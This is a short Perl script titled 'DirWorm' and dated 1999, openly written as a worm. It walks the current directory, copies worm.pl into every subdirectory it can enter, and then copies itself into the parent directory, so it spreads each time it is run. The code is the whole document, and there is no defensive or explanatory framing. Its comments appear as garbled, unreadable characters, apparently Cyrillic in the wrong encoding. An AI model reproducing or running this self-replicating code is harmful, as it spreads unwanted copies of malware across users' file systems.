# DirWorm by -Byst- (c) 1999
while (<*>)                     # ˆé¥¬ ¢á¥ ä ©«ë ¢ ⥪ã饩 ¤¨à¥ªâ®à¨¨
{
  if (chdir($_)) {              # …᫨ íâ® ¤¨à¥ªâ®à¨ï - ᬥ­¨âì ⥪ãéãî ­  ­¥¥
   @command = ("cp ../worm.pl ./worm.pl > /dev/null");
   system @command;             # ‚맮¢ á¨á⥬­®© ä㭪樨 ª®¯¨à®¢ ­¨ï ä ©« 
   chdir("..");                 # ‚®§à é ¥¬áï ®¡à â­® ¢ ­ ç «ì­ãî ¤¨à¥ªâ®à¨î
  }
}
@command = ("cp ./worm.pl ../worm.pl");
system @command;                # Š®¯¨à㥬 ⥫® ¢ த¨â¥«ìáªãî ¤¨à¥ªâ®à¨î